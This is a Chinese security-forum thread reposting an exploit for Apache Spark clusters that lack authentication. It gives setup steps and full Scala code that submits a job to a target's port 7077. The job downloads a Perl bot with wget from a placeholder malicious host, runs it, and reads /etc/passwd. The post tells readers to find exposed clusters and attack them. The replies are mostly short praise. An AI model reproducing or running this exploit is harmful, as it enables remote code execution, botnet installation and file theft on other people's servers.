查看: 54897|回复: 57

Apache Spark Cluster Arbitary Code Execution Exploit

[复制链接]
发表于 2015-3-29 18:04:02 | 显示全部楼层 |阅读模式
描述:
# Spark clusters which are not secured with proper firewall can be taken over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitrary codes over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on port 7077) add that host to your
# hosts list so that your system will recognize it (here its spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary codes that you want to execute.

使用说明:
git clone https://github.com/akhld/spark-exploit.git
cd spark-exploit
#Place the vuln host info in the file
vim exploit.scala
sbt run

[AppleScript] 纯文本查看 复制代码
import org.apache.spark.{SparkContext, SparkConf}
 
    /**
     * Created by akhld on 23/3/15.
     */
 
    object Exploit {
      def main(arg: Array[String]) {
        val sconf = new SparkConf()
          .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
          .setAppName("Exploit")
          .set("spark.cores.max", "12")
          .set("spark.executor.memory", "10g")
          .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack
 
        val sc = new SparkContext(sconf)
              sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
 
        val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
               val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })
        exploit.collect().foreach(println)
      }
    }
 
回复

使用道具 举报

发表于 2015-6-28 01:55:14 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-28 08:57:17 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-29 20:14:00 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-7-2 15:20:46 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-7-3 16:00:01 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-7-3 21:35:20 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-7-4 20:28:33 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-7-5 19:06:01 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-7-6 06:35:07 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 10:08 , Processed in 0.038174 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部